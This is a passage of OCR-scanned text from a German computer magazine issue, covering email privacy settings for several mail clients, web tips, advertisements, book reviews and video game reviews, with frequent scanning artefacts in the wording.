Damit er bei ausgewählten Ab­
sendern und Domains d ie Bi lder 
immer herunter lädt, k l icken Sie 
bei e iner HTML-Ma i l  mit ge­
blockten I nha lten auf das I -Sym­
bol .  Wäh len Sie dort je nach 
Wunsch . .  Absender zur  L iste s i-

Einsle i lungen 

LI [J] 
Empfangsbestätigungen (MDN) Al lgeme in  

cherer Absender h inzufügen" 
und .,Die Domäne zur Liste siche­
rer Absender h i nzufügen". Die 
E inste l l ung, um MONs zu unter­
b inden, fi nden Sie bei Out look 
201 0 und 201 3 unter Datei/Op­
t ionen/E-Mai l/Ver la uf. Wäh len 
Sie dort .,N ie  e ine Lesebestäti­
gung senden", damit  I h r  C l ient 
keine MONs aus l iefert. 

Bei Apple Mai l  s ind g leich 
zwei Schritte nötig, um das Pro­
g ramm daran  zu h indern, B i lder 
aus  HTML-Ema i l s  a utomatisch 
herunterzu laden. Zunächst rufen 
Sie die E inste l l ungen von Apple 
Mai l a uf und deaktivieren unter 
.,Da rste l l ung" den Punkt .,Ent­
fernte I n ha lte in Nach richten 
laden". Damit d ie  Systemsuche 
Spotl ight unter Mac OS X Yose­
mite beim Durchsuchen der 
Ma i l s  keine B i lder  nach lädt. 
schalten Sie d ie  HTML-Anzeige 
von E-Ma i l s  i n  der Voransicht mit 
unserem Pl ug-in namens Quick­
Look aus  (mehr unter dem 
c't-L ink) .  Alternativ nehmen Sie 
E-Ma i l s  i n  den Spot l ight-E instel­
l u ngen aus der Suche aus. Kurz 
vor Redaktionsschl uss hat Apple 
das U pdate v1  0 . 1  0.2 veröffent­
l i cht, du rch welches Spotl ight 
keine externen B i lder  mehr un­
gefragt nachladen sol l .  E ine Op­
tion, über die der C l ient B i lder  
von bestimmten Absendern au­
tomatisch herunterlädt feh lt  der 
Bed ienoberfläche. MONs sendet 
Apple Mail grundsätzl ich nicht. 

Der Linux-Ci ient Evolution 
lädt entfernte I nha lte erst nach 
Aufforderung fü r jede einze lne 
E-Mai l  herunter: Wol len S ie Bi lder 

Emeitert � 
1----1 

Al lgeme in i Le LJ Immer e ine  Emphng1be1tätig u n g  anfordern 

Den Umga 

B i l d l auf 

� 1\"ton 

� Sanfte 

Systemint 

Winde 

Erweiterte 

[t] G loba l  

Cl Eerfor 

Weite 

Wenn e ine  Empfangsbe stätigung  ankommt: 

(!" Im J:oste ingang  be l a s sen  

0 In  den  Qrdner  für  ge s en dete Nachr i chten vemhieben 

Wenn aufgefordert wird, e ine  Empfangsbe stlitig u n g  zu s enden :  

� [.�.�- ���e !_mp��ng�-�e s�-��ig�_n g  s�nd�_n ··-· ··-

U ß.ei manchen  Nachr i chten Empfangsbe stäti gungen  er l auben 

�enn i ch  n i c ht i n  der  An- ode r  CC-Ze i l e  stehe:  rl Fr
-
,g

-
.,---,� [ 

W!_nn de r  Ab�ender  außerha lb  me ine r  Doma in  i�t: I Fragen � [ �=� In a l l en  anderen Fä l l en :  ! Fragen � [ 

Empfangsbestätigungen sendet Thunderbird in der Standa rd­
einste l lung nur  mit Genehmigung des Nutzers. 
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sehen, drücken Sie Strg+l .  Alter­
nativ lassen sich bestimmte 
Ad ressen als vertrauenswürdig 
einstufen, damit Bi lder von d ie­
sen Absendern grundsätzl ich ge­
laden werden. Öffnen Sie dazu 
Bearbeiten/Einste l lungen/E-Mai i­
Einstel lungen/HTML-Nachrichten. 
Wäh len Sie . . Bi lder nur in  Nach­
richten von Kontakten laden" und 
fügen die betreffenden Absender 
in  Ihr Adressbuch ein. Um den 
Versand von MONs zu unterbin­
den, öffnen Sie in  den Einste l lun­
gen den Punkt .. E-Ma i l -Konten" 
aus, markieren ein Konto, kl icken 
auf .,Bea rbeiten" und navigieren 
zu den .,Vorgaben". Unter .,Lese­
bestätigungen verschicken" wäh­
len Sie .,N ie". 

Bei KMai l  lassen sich MONs 
unter E instel l u ngen/KMa i l  e in ­
richten/Sicherheit genere l l  ab­
scha lten. Wählen Sie unter .,Emp­
fangs- und Lesebenach richti­
gungen" entweder ., Ignorieren" 
oder d ie  vera ltete Option .,Ab­
lehnen". Letztere Option p lau­
dert mehr aus, a l s  I hnen l ieb ist. 
Das Nachladen von externen l n­
ha lten verhindern Sie, indem Sie 
im Reiter .,Lesen" den Haken 
neben .,Nach richten dü rfen ex­
terne Referenzen aus dem Inter­
net laden" entfernen. Mit einem 
Klick auf .,H ier" am Anfang einer 
HTML-Mai l laden Sie Bi lder nach. 

Claws-Mail zeigt ohne aktives 
Fancy-Piug-in keine HTML-I nha lte 
an. Um den Versand von MONs 
grundsätzl ich zu verhindern, öff­
nen SieKonfiguration/Einstel l un­
gen/Ma i i -Hand l i ng/Senden und 
setzen e inen Haken bei  .,Nie Emp­
fangsbestätigungen senden". 

Nachkontro l le  

Um zu  prüfen, welche I nformatio­
nen Ihr E-Mai l -Prog ramm aktue l l  
über Sie preisgibt, nutzen Sie den 
E-Ma i l -Check von he ise Secu rity 
oder den Emai l  Privacy-Tester 
(siehe c't-Link) .  (fkn@ct.de) 

Literatu r  

[ 1 ]  J ü rgen Schm idt, E-Mai l  i m  Visier, 
Tracking im Al ltag aufspüren und 
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Lagern Sie USB- und COM­
Schnmstel l e n  e infach in I h r  

Ne tzwerk a u s . 

Dank der W&T- B oxen und 

zugehör iger  COM- oder USB­
U m l e n kung nutzen Sie I h re  
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o h n e  Netzwerk bietet W&T eme 
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I nternet I Web-Tipps 

VI EWS T I TLE DATE ARC H IVED CREATOR 

2400 DOS-Spiele-Klassiker 
für den Browser 

https:/ I a rch ive.o rg/ deta i ls/i nterneta rcade 
https://a rch ive.org/deta i ls/softwarel ibra ry 

_msdos_games/v2 

Das I nternet-Archiv a rchive.org hat sein An­
gebot an  Spie le-Klass ikern deut l ich ausge­
baut. Nachdem es im November bereits Hun­
derte Areade-Klass iker  veröffent l icht hatte, 
fo lgen nun  in der Softwa re Library: MS­
DOS Games 2300 Computerspie le aus den 
80er- und 90er-Jah ren .  Darunter befinden 
s ich zah l reiche Klassiker verschiedener Gen­
res wie Pr ince of Persia, Duke Nukem, Lem­
mings, Tetris, Commander Keen oder 
Dune 2 .  Die Spie le nutzen d ie DOS-Emula­
t ion JS MESS, d ie  e inen d i rekten Sta rt im  
Browser ermögl icht. 

Derzeit steckt das Projekt noch in  der Beta­
Phase, denn feh lerfrei ist die Emu lation noch 
n icht: Mitunter hakt es bei der Bed ienung, 
oder der Sound stottert. Einzelne Titel wie 
etwa .,Duke Nukem 3D" kamen bei uns über 
Standbi lder nicht h inaus, beim Strategiespiel 
. , Warlords 2" versagte die Maussteuerung. Die 
Entwickler empfehlen, den JS-MESS-Emulator 
mit den neuesten Vers ionen der Browser 
Chrome oder F i refox aufzu rufen. Der I nternet 
Explorer wird derzeit noch nicht unterstützt, 
so l l  aber ba ld fo lgen.  Ebenso so l len Bedie­
nungsan leitungen fü r die oftmals komplexen 
Titel nachgereicht werden. (uma@ct.de) 

Troll-Automat 

www.la rsiator.de 
www.hyperhero.com/de/insu lts.htm 

I h nen schlägt i n  den Facebock-Kommenta­
ren pure Ignoranz entgegen? Haben andere 
d ie fa lsche Meinung und verstehen I h re rich­
t ige n icht? Aber I hnen feh len passenden 
Worte, um ma l  r icht ig Dampf abzu lassen? 
Dann  sol l ten Sie den Larsiator von N i l s  Set­
t inger bemühen .  Das Tool spuckt kreative 
Frust-Ti raden in den Kategorien .,weiner l ich", 
.,sa uer" oder .,Den Wixxern zeig ich's !" aus, 
d ie sich gewaschen haben. 

Beispiele gefä l l ig? Bitteschön: .,Hört mal zu, 
ihr Leichtzigarettenraucher! Was g laubt ihr ei­
gentl ich, wie euer Armleuchter-Aicatraz auf 
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·= andere wirkt? Denkt i h r, i h r  
se id  d ie Hase lnuss im Toffi­
fee?" Oder: .,Wer von euch 
eina rmigen Ka russe lbremsern 
hat meinen br i l lanten Post in­
te l lektue l l  nicht überrissen? 
Ihr seid solche a rmsel igen 
Hoh lknochen." 

Fa l l s  sel bst bei der reich­
ha ltigen Auswah l  an  Schimpf­
wörtern nicht das r ichtige 
dabei i st, bietet s ich die 
Samm lung des Hyperheros 
an. Tausende kreativer Ver­
ba l i nju rien warten - a l phabe­
tisch sortiert - auf i h ren E in­
satz. (hob@ct.de) 

Alleswandler 

https:/ /cloudconvert.com 
www.zamzar.com 

Cloudconvert ist e in Tausendsassa, was das 
Umwande ln  von Dateien angeht: Die Web­
anwendung konvertiert mehr als 200 Datei­
formate. Sie speichern eine HTML5-Webseite 
als PDF, wandeln versch iedenste E-Book-For­
mate oder transkodieren g roße Videodatei­
en. Praktisch ist, dass das Too l  sowoh l  Quel l ­
a l s  auch Zieldateien aus und in  die Cloud pa­
cken kann .  Zurzeit klappt der Zugriff bereits 
bei Dropbox, OneDrive und Goog le Drive. 
Weitere so l len folgen. Die Ergebnisse lassen 
sich aber auch herunter laden. 

Ohne Registrierung und Kosten darf man 
pro Tag zehn Minuten Rechenzeit zur Kon­
vert ierung beanspruchen. Das genügte in 
unserem Ku rztest beispie lsweise, um ein 
MP3-Ai bum von 70 MByte i n  Ogg Vorbis zu 
wande ln .  Wer 500 Konvertierungsminuten 
buchen möchte, zah l t  dafü r  vorab eine Pau­
scha le von 1 0 US-Do l l a r. C loudconvert wird 
i n  Deutsch land betr ieben und vers ichert, 
jede hochgeladene Datei gut gegen fremden 
Zug riff zu s ichern und nach spätestens 24 
Stunden unwiederbri ng l ich zu löschen. 

Hype-Videos 

Videoblagger Roman Atwood führt 
gerne mit versteckter Kamera andere 
Menschen h inters Licht. Diesma l war 
seine eigene F rau  d ran :  l n  ih rer Abwe­
senheit hat er das E igenheim in e in 
gigantisches Bäl lebad verwandelt . 
http://youtu.be/ltOEtKIQxyo 
(3:07, englisch) 

Der singende US-Pol izist Jeff Davis hat 
das Zeug zum I nternet-Sta r: E in mi l l io­
nenfach gekl icktes Video zeigt, wie er am 
Steuer seines Streifenwagens zum H i t  
.,Shake it Off" von Taylor Swift g roovt. 
http://youtu.be/BXFBUMBdMqw 
(4: 7 1, englisch) 

E ine Alternative zu C loudconvert ist das 
bel iebte Zamzar. Der On l ine-Konverter be­
herrscht sogar das Entpacken komprimierter 
Dateien sowie sehr spezie l l e  Dateiformate 
etwa aus dem CAD-Bereich. A l lerd ings feh lt  
h ier  d ie  praktische C loud-Anb indung, Kon­
vertierungsergebnisse schickt Zamza r  aber  
immerhin auf Wunsch auch a l s  Mai l  zu .  

(hob@ct.de) 

Verführung zum Kochen 

http:/ /foodgawker .com 
www.tastespotting.com 
http:/ /sa latwerkstatt.de/food-blogs-deutsch 
http:/ /foodblogawa rd .at/food-blog-

galerie/cat/1 1 /  

Wer kauft eigentl ich noch Kochbücher oder 
-Zeitschriften? Es g ibt so viele mit Liebe ge­
machte Food-Biogs, wo sich jeder täg l iche 
I nspi ration fü r seine Küche holen kann .  E inen 

T A S T E  P T T I N G  

schne l len Überb l ick verschaffen dabei Ag­
g regatoren wie foodgawker und Taste­
Spotting,  die d ie  Rezepte aus  Dutzenden 
B logs zusammentragen .  l n  e iner Übersicht 
präsentieren sie jeden Tag zig neue Posts. 

Offenbar ist ein Appetit machendes Foto 
eine Mitmach-Voraussetzung bei beiden Re­
zepte-Sammlern .  Ansonsten enthalten d ie 
Steckbriefe bei  den Aggregataren nur  ku rze 
Beschreibungen. E in Kl ick darauf öffnet den 
kompletten Beitrag i n  der Orig ina lque l le .  
Beide Aggregataren bieten auch eine Such­
masch ine, um nach e inem bestimmten 
Schlagwort suchen zu können .  foodgawker 
kategoris iert seine Sammlung zudem nach 
Themen, sodass man sich zum Beispiel nu r  
Sandwiches und  Wraps anzeigen lassen kann. 

I m  deutschsprach igen Raum g ibt es 
solche Agg regataren n icht. Wer einen RSS­
Reader benutzt, kann  sich aber seine eigene 
Feed-Samm lung zusammenste l l en .  Die 
Ad ressen von e in paa r  Dutzend deutscher 
Food-Biogs fi ndet man bei Salatwerkstatt. 
Die Website des Österreichischen AMA Food 
Blog Award l i stet 94 Food-Biogs aus der Al­
penrepub l ik. Uo@ct.de) 

c't Diese Seite mit klickbaren L inks: 
ct.de/yquk  
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Ei gene r  RootServe r i n  echter  serve r l oft-Ou a l i tä t  
RootServer 
· b is zu 4x 1 .000 GB HOO, RAI D 1 0  

· b is z u  1 2  ded izierte Cores 

· bis zu 72 GB RAM garantiert 

· bis zu 4 1 P-Ad ressen ink lu sive 

· bis z u  1 Gbit/s Bandbreite 

bereits ab €/Monat 

Allt Pr�l� o Mkl 19'lb MwSt 

2 9,-
Je tzt i nfo rm i e re n : 
Te l .  0800 1 00 408 2  www.se rve r l oft . d e  

· gebü hrenfreie Hotl ine 

· ke ine  Ein ri chtu ngsgebü h r  und nur  1 Monat M i ndest laufzeit 

· Traffic-Fiatrate (Fa i r-Use-Prinzip), rasante Anhind u ng mit ü ber  550 Gbit/s 

· a ktuel l ste Markenhard ware von H P  

· Serverstandort nach Wah l  (Europa oder USA) 

se rver oft 
SERVE R FCI R  PROF IS  



Buchkrit ik I Mathematica, Algorithmen, Programmierung 

Heidelberg 
201 4 

mitp 

304 Seiten 

30 € 

ISBN 978-3-
8266-9666-4 

Knut Lorenzen 

Einführung 
in Mathematica 

Berücksichtigt die kostenlose 
Version 1 0  fü r den Raspberry Pi 

Mathematica von Wolfram Research ist ein 
U rgestein der Software-Weit. Seit 26 Jahren 
lösen Mathematiker, Naturwissenschaft ler 
und I ngenieure damit vielfält ige Probleme. 
Das komplexe Anwendungspaket bringt 
sogar eine eigene Programmiersprache mit. 
Die aktue l le  Desktop-Heimversion 1 0  fü r 
Windows, Mac OS oder Linux kostet knapp 
300 Eu ro; im Profi-Zuschnitt s ind schon über 
3000 Euro fä l l ig .  Seit 201 3 g ibt es a l lerdings 
eine kosten lose Version für den Raspberry Pi. 

Die Lektüre von Lorenzens Buch, das bei 
den ersten Schritten mit dem Softwarepaket 
helfen wi l l ,  setzt außer sol iden Mathematik­
kenntnissen n ichts voraus. Der Autor be­
ginnt an der Oberfläche - er stel l t zunächst 
die wichtigsten Eigenschaften der Benutzer­
schnittste l le vor und g ibt Tipps für effektives 
Arbeiten. Dann geht er immer weiter in die 
Tiefe. Lorenzen spendiert dem Leser spekta­
ku lä re Funktionsplots; ein ganzes Kapitel 
widmet er der Defin ition und Pa rametrisie­
rung von Funktionen. Hier geht es durchaus 
ans Eingemachte - das Buch führt den Leser 
bis zur Da rste l l ung beinahe bel iebiger 
Objekte im dreidimensionalen Raum. 

Dass Mathematica auch über Mögl ich­
keiten zur Klang- und Spracherzeugung 
verfügt, weiß n icht jeder. Der Autor gönnt 
d iesem Thema e inen kurzen Abschnitt. Aus­
führl ich stel l t er hingegen die Ana lysis-Funk­
tionen und d ie Mechanismen zur Lösung 
von Gleichungssystemen vor. Auch e ine Ein­
führung in  die Programmierung fehlt nicht. 

Vorbi ld l ich erklärt Lorenzen die Arbeit mit 
Mathematica auf dem Raspberry Pi. Er be­
schre ibt jeden Weg, Mathematica ha l b­
wegs s innvol l  auf dem Kleinstrechner zum 
Laufen zu bekommen. Vom reinen SSH-Zu­
g riff bis zu VNC ist a l les dabei. Sogar e ine 
portable Lösung mit Akku wird vorgestel lt. 
Der Autor verschweigt auch nicht d ie 
Schwächen der Pi-Version von Mathematica. 
Man erfährt sogar, wie sich einige davon kor­
rigieren lassen. (Maik Schmidt/psz@ct.de) 
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London 201 4 
The Fo r m ula WH Al len 

304 Seiten 

23 € (Taschen-
buch 1 2 €, 
Kindle-E-Book 
1 8 €) 

·- .. ISBN 978-0--
- · - � 7535-41 68-5 - -

L U K E  D O R M E H L 

Luke Dormehl 

The Formula 

How Algorithms Solve a l l  our  
Problems . . .  and create more 

Algorithmen spie len, oft unbemerkt, e ine 
immer g rößere Ro l l e  im täg l ichen Leben 
eines jeden. S ie helfen bei der  Pa rtner­
suche, bestimmen, welche Werbung und 
welche Produktempfeh lungen wir im Web 
zu sehen bekommen, und  führen uns im 
Navi zum Ziel .  Dabei treffen s i e  immer mehr 
Entscheidungen, fü r d ie bis lang Menschen 
zuständig waren. Umso fata ler können die 
Auswi rkungen sein - wenn das Scori ng der 
Bank  gegen e inen Kred it p läd iert oder 
wenn  d ie Gesichtserkennungs-Softwa re 
einen F l uggast fü r einen Terroristen hä lt. 

I nsofern wäre ein Buch sehr h i lfreich, das 
a l lgemeinverständ l ich Wirkungsweise und 
Grenzen von Algorithmen erklä rt. Dazu 
müsste es aber im Deta i l  er läutern, wie die 
an  vielen Ste l len eingesetzen Algorithmen 
funkt ionieren. Dormehl zerstört a l l e  Hoff­
nungen darauf aber bereits a uf Seite d rei .  
Sein Buch wol le  sich Algorithmen nicht von 
der Seite der I nformatik nähern, dafü r  gebe 
es bereits genug Fachbücher. 

Auch wenn er  dann doch gelegent l ich 
auf d ie Funktionsweise einze lner Algorith­
men eingeht: Meist muss anekdotische Evi­
denz herha lten, um zu zeigen, was geht 
und wo es Probleme g ibt. Dafür g ibt es eine 
Menge psychologischer, sozio log ischer 
und ph i losophischer Betrachtungen, nicht 
selten mit wissenschaftsh istorischer Kom­
ponente. Im  Kapitel über das Job-Scouting 
via Facebook springt er zum Beispie l plötz­
l ich völ l ig  unmotiviert ins  1 9. Jahrhundert. 

An vielen Stel len entsteht der Eind ruck, 
Dormehl  habe zu a l len Themen einfach 
a l les aufgeschrieben, was ihm so du rch den 
Kopf gegangen ist .  Das ist mitunter du rch­
aus interessant zu lesen, a uch wei l er viele 
i nteressante Beispiele br ingt und wichtige 
F ragen stel lt : Sol l e in autonomes Auto die 
Geschwind igkeitsbesch ränkungen über­
schreiten dü rfen, wenn sei n Fahrer d rin­
gend ins Krankenhaus muss? Befriedigende 
Antworten b le ibt das Buch letzt l ich schu l ­
d ig ,  schon wei l  es vie l  zu weit  über  dem 
Thema schwebt. (Jo Bager/jo@ct.de) 

Bonn 201 4 
(2. Aufl .) 

Rheinwerk 
(Ga l i leo) 

393 Seiten 

30 € (Epub-
E-Book: 25 €) 

ISBN 978-3-
8362-3482-5 

Klaus M. Rod ewig, Jörg Brunsmann 

iPhone- und iPad-Apps 
entwickeln 

Ideal  fü r Programmiereinsteiger 

Wenn es um die Mater ie der App-Program­
mierung fü r iOS 8 .0 geht, kann  man die E in­
stiegsschwe l l e  hoch oder n ied rig setzen .  
Rodewig und Brunsmann  machen den 
Schritt zur eigenen App so le icht, dass ih r  
Buch sogar Nu r-Anwendem mit  min imalem 
Prog rammierwissen und e iner  gehör igen 
Portion Neugier dazu verhelfen kann, iOS­
Apps mit Entwickleraugen zu sehen. 

Die Autoren behande ln  den gesamten 
Ablauf der App-Entwickl ung von der Idee 
bis zur  Umsetzung.  Beschr ieben wird a l so 
nicht bloß der Umgang mit Xcode, sondern 
es g ibt auch einen E i nstiegs- und Auffri­
schungsku rs in  Sachen (-Prog rammierung. 
Man bewegt s ich dabei von a l lgemeinen 
Rege ln  h in  zu den spezie l l en E igenarten 
des Entwicke lns mit Objective-C. 

Was guter und schlechter Prog rammier­
sti l i st, wird anhand von Codebeispie len 
deut l ich .  Sch rittweise ste igt man tiefer i n  
d ie Arbeit m i t  dem - inzwischen vera lteten 
- Xcode 5 . 1  ein, lernt das Oberflächen­
design kennen und erfäh rt v ie les über die 
untersch iedl ichen Zie lp lattformen iPad und 
iPhone .  Es g ibt e inen E inb l ick i n  professio­
ne l le Arbeitsweisen, wozu die Nutzung von 
Storyboards und der struktu re l l e  Aufbau 
der App nach dem Modei-View-Contro l ler­
Pr inzip gehören. 

Weitere Gesichtspunkte, d ie  oft erst in 
weiterfüh render Literatur a uftauchen, s ind 
die Ansteuerung von Schn ittste l l en  und  
d ie  Kommun i kat ion e i ne r  App mit  ande­
ren Diensten .  Rodewig und  Brunsmann 
l assen externe Browser-Fenster öffnen 
und zeigen, wie man Wetterdaten i n  eige­
ne Apps integr iert. Auch der  Weg von der 
fertigen App ü ber  das  App le-Entwick ler­
programm h in  zum App Store wird e instei­
gerfreund l ich abgehande l t .  I nsgesamt 
vol lz ieht das Buch e inen ge lu ngenen 
Rundu msch lag .  D ie verwendeten Code­
Beispie le lassen sich unter www.l uftkissen 
fah rzeug-vo l ler-aa le .de heru nter laden.  

(U i rich Schmitz/psz@ct.de) 
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Spiele I Fantasy-Strategie, Jump'n'Run 

Die Rache der Maskenfrau 
l n  Aventu rien, der Welt des Rol­
lenspie lsystem-Klass ikers "Das 
Schwarze Auge", steht e in Krieg 
bevor. Von ih ren eigenen Leuten 
verraten und e ingekerkert, hat 
Kön ig in  Cassia vier Jah re lang 
auf Verge l tung gesonnen .  Von 
Hass und Spinnengift zerfressen, 
konnte sie endl ich dem Ver-
lies entkommen.  Jetzt 
verbirgt sie ih r  Gesicht 
h i nter einer Maske 
und baut e ine Armee 
auf. Deren Kern sol len 
d ie legendären B lack­
gua rds werden, mit  
denen s ie Mengb i l l a  
e innehmen und den 
Ha ifischthron wieder bestei­
gen wi l l .  Es ist die Aufgabe des 
Spie lers bei Blackguards 2, i h r  
dabei zu helfen. 

Daeda l ic  knüpft mit dem run­
denorientierten Spie l  d i rekt an 
dessen Vorgänger an. Von den 
dort vertretenen Antihelden sind 
nur noch Naurim, Zu rba ran und 
Takate übrig. Positiv fä l l t  von An­
fang an  d ie Umgebung auf. Die 
Kampffelder s ind schön gesta ltet 

und ha lten Überraschungen be­
reit. Entzündba re Ölpfützen, fra­
g i l e  Kistentürme und i nstab i le  
Bauten lassen s ich in  strateg ische 
Überlegungen e inbeziehen. Die 
Taste <V> lässt a l l e  handhab­
baren Objekte anzeigen. Wie im 
ersten "Biackguards"-Spie l  er-

fo lgt die Steuerung über ein 
übersichtl iches R ingmenü.  
Der Aktionsrad ius  wird i n  

Sechseckfeldern gemes­
sen; angezeigt wird zu­
dem die Trefferchance 
fü r einzelne Ziele. Weni­
ger übersichtl ich ist die 
Da rste l l ung aktiver Ver­
bündeter und Feinde 
am unteren B i ld rand 
gesta ltet. Je nach-

dem, wer am Zug ist, 
verschiebt sich d ie Map-Darste l­
lung. Das geht manchmal selbst 
fü r Schne l lb l icker zu fix. Proble­
matisch ist auch die feste Kame­
raperspektive. 

Die Charakterentwickl ung ge­
schieht bei B lackguards 2 nach 
bewäh rtem Muster. Die Fert ig­
keiten und Ta lente lassen sich in  

Teamwork m it 
Handysteuerung 

Mitten im  Meer der Scherben 
steht d ie  a lte Festung, i n  der 
man Pr inz F reedan gefangen 
hä l t .  Bewacht von Monstern und 
der sadistischen Hexe l nk  ausge­
l iefert, sinnt er auf F l ucht. Als der 
Geist des Magiers Stayn ihn vor 
der Fo l ter bewahrt, ist der Mo­
ment gekommen:  Zusammen 
müssen Pr inz und Magier d ie  
entfüh rte Pri nzessi n  F reya retten 
und aus  dem gewa lt igen Turm 
entkommen. 

Tristoy i st  n ichts fü r Sol isten; 
hier ist Zusammenarbeit ange­
sagt. Am meisten Spaß  machen 
das gemeinsame Rätsel lösen und 
der kooperative Kampf am sel­
ben Rechner. Zum Steuern der 
F iguren können nicht nur  PC-Tas­
tatur und Xbox-360-Contro l le r  
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dienen. Über die kosten lose "Uni­
p lay"-App fü r Android und iOS 
lassen sich auch Smartphones 
per WLAN a l s  schnurlose Steuer­
geräte nutzen .  Die App erkennt 
die auf dem PC verfügba ren pas­
senden Spie le und macht das 
Mobi lgerät zum grafischen Ga­
mepad. Das s ieht hübsch aus, be­
dient sich aber nicht besonders 
gut. An kritischen Ste l len verfehlt 
man le icht die vi rtue l le Taste. 

Die Kooperation der F igu ren 
ist gut  ausba l anciert: Der fast 
körperlose Stayn ist nahezu un­
sterb l ich; se ine Energiekuge ln  
können e inen Fe ind aus der Dis­
tanz betäuben .  U m  d iesen aus­
zuscha lten, muss dann a l lerd ings 
F reedan e inspr ingen; der sta rke 
Nahkämpfer hat a l lerd ings  nu r  
e i n  Leben. Das  Spiel , da s  sich i n  
zwei bis d rei  Stunden absolvie­
ren lässt, füh rt d ie beiden Helden 
du rch 25 kle ine Dungeon­
Räume. Die Atmosphäre er innert 
an Klassiker wie Castlevania .  Die 
e infachen Rätsel, auf die man 
stößt, wiederho len s ich le ider  

v ier  Stufen steigern; zudem kann  
man be i  Händ lern verbesserte 
Ausrüstung fü r die Truppe er­
werben .  Zwischen den Kämpfen 
g ibt es Gelegenheit, mit Freund 
und Feind zu verhandeln, Gefan­
gene zu verhören und Unent­
sch lossene zu Verbündeten zu 
machen. Gespräche öffnen auch 
neue Nebenquests oder werfen 
I nformationen zur gegnerischen 
Takt ik ab. Unerfah rene Spie ler 
so l l ten auf frustr ierende Er leb­
nisse gefasst sei n :  Sel bst im 
n iedr igsten Schwier igkeitsgrad 
ist d ie  Herausforderung hoch. 
Anspruchsvo l le  Strategiefreunde 
freuen sich jedoch auf d ie etwa 
40 Stunden Spie lzeit, d ie sie mit 

ba ld .  Diverse Bugs und De­
s ignfeh ler  vermiesen den Spie l­
spaß: Die Kraftanzeige etwa ver­
deckt einen Tei l  des l i nken Bi ld­
ra ndbereichs, was vor a l l em 
be im dynamischen Spl it-Screen 
zum Prob lem wird. Ärger l ich 
wirkt sich auch die leichte Verzö­
gerung der or ig ine l len Un ip lay­
Steuerung aus .  

Schöne E infä l l e  wie au s­
zuwä h lende D ia loge und d ie  
theoret ische Reichweite der  
Sp ie lerentscheid ungen können 
Tristoy ebenso wen ig retten wie 
d ie  hü bsch geze ichneten H in ­
terg ründe .  D ie mange l hafte 
Steuerung und der a l lzu e in-

den insgesamt 50 Missionen ver­
br ingen können. 
(Stephan Greitemeier/psz@ct.de) 

Blackguards 2 
Vertrieb EuroVideo Medien GmbH, 

www.blackguards2. 
daedalic.de 

Betriebssystem Windows 8, 7, Vista, XP 

Hardware· Mehrkernsystem, 4 GByte 
anforderungen RAM, 51 2-MByte·Grafik 
Kopierschutz Online·Registrierung und 

-Aktivierung über Steam 
(Sonderedition DRM·frei) 

Idee <±> Umsetzung 0 
Spaß <±> Dauermotivation 0 
1 Spieler • DeutS<h • USK 12 • 1 7 € 
<±><±> sehr gut <±> gut 0 zufriedenstel lend 
e schle<ht 00 sehr schlecht 

tön ige Ab lauf  e rmüden den 
Spie ler zu sehr .  
(Stephan Greitemeier/psz@ct.de) 

Tristoy 
Vertrieb Headup Games, www. 

uniworlds.de/portfolio/tristoy/ 
Betriebssystem Windows 8, 7; außerdem 

Xbox One 
Hardware· Mehrkernsystem, 4 GByte 
anforderungen RAM, 896-MByte·Grafik 
Kopierschutz Online·Registrierung und 

-Aktivierung über Steam 
Mehrspieler 2 online/am selben Rechner 
Idee <±> Umsetzung 0 
Spaß 8 Dauermotivation 8 
Deutsch • USK noch nicht geprüft, 
red. Empf.: ab 1 2  • 20 € 
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Götterjagd mit Feuerwerk 
l n  e inem fremden Un iversum er­
wacht eine verlorene Seele. Ver­
schweißt mit einem Kampfschiff 
und ge lenkt von e iner  väter l i ­
chen Stimme so l l  s ie vier "Göt­
ter" jagen und töten - fü r d ie  
Verbrechen, d ie  d iese verübt 
haben.  Tatsäch l ich hande lt  es 
sich bei den "Göttern" um ge­
wa lt ige Masch inen.  Horden von 
Drohnen beschützen sie. 

Kromaia vom kle inen spani­
schen Entwicklerstud io Kraken 
Empire bringt das Er lebnis eines 
flotten Arcade-Shooters der 

Kromaia 
Vertrieb Kraken Empire, 

www.krakenempire.com/ 
kromaia/media.html 

Betriebssystem Windows 8, 7, Vista 
Hardware- Mehrkernsystem, 3 GByte 
anforderungen RAM, 1 -GByte-Grafik 
Kopierschutz Online-R�istrierung und 

-Aktivierung über Steam 
Idee 0 Umsetzung 0 
Spaß ® Dauermotivation 8 
1 Spieler · Deutsch · USK 1 2  • 1 8  € 

Amiga-Ära auf den Heim-PC. 
Mith i lfe von Crowdfund ing fi­
nanziert und  meh rfach preis­
gekrönt, wi rft Kromaia den Spie­
ler  a l s  P i loten eines Kampfg lei­
ters i n  e ine faszi n ierende 3D­
Weit. Die g roßen Levels stecken 
vo l l  schwebender Tempel, mys­
teriöser Masch inen und abstrak­
ter Effekte. An den eingesetzten 
Unschärfe-F i lter muss das Auge 
des Spie lers sich erst gewöhnen; 
a l lerdings übt gerade dieser ne­
belart ige visue l le  Akzent auch 
e inen eigentüm l ichen Reiz aus .  

Es b le ibt wenig Zeit, d ie  mit 
Ab lenku ngen gespickte Umge­
bung zu genießen: Mechanische 
Feinde g reifen pausenlos an. Ge­
fähr l ich sind vor a l l em Ko l l is io­
nen mit ihnen .  Schne l l  verl iert 
man den Überbl ick. Orientierung 
bietet e in am Schiff angebrach­
ter pfe i lebestückter Kreis, der 
stets i n  Richtung des nächsten 
Ziels deutet. Die einzusammeln­
den Power-ups bestehen fast 
aussch l ießl ich in  Antriebs-Upgra-

Tem po im Turm 

Seit Jahrhunderten beschützt 
d ie  Magier-Bruderschaft von 
Daeda lon die Menschheit. Nu r  
selten n immt s i e  Neu l inge i n  
ih ren Reihen auf. Nach  20 Jahren 
magischen Tra in ings müssen die 
Daeda lon-Novizen sich der u lt i­
mativen Prüfung ste l len :  dem 
Zig g u rat. Es fi ndet i n  e inem 
Turm vo l le r  Fa l l en  und Monster 
statt - nur die besten Zauberer 
überleben es. 

Das span ische Entwick ler­
studio Mi lkstone hat ein schnel les 
Spiel mit stimmungsvo l le r  Fan­
tasy-Opti k geschaffen, das s ich 

c't 20 1 5, Heft 5 

wie ein gerad l i n iger 
Shooter anfüh lt. Mit 
jedem neuen Betre­
ten des Schauplatzes 
ändern s ich Lage 
und  I n ha l t  der  
Räu me. Das Spek­
t rum der  Monster 
re icht von Schwa r­
zen Feen bis zu Ki l ­
lermöhren. Zusätzl ich fordern La­
vafl üsse und Selbstschussanlagen 
d ie Geschickl ichkeit heraus. Vor 
al lem aber kommt es auf Schnel­
l igkeit an. Es g ibt nur den Fern­
kampf; h ierbei sorgen aber Dut-

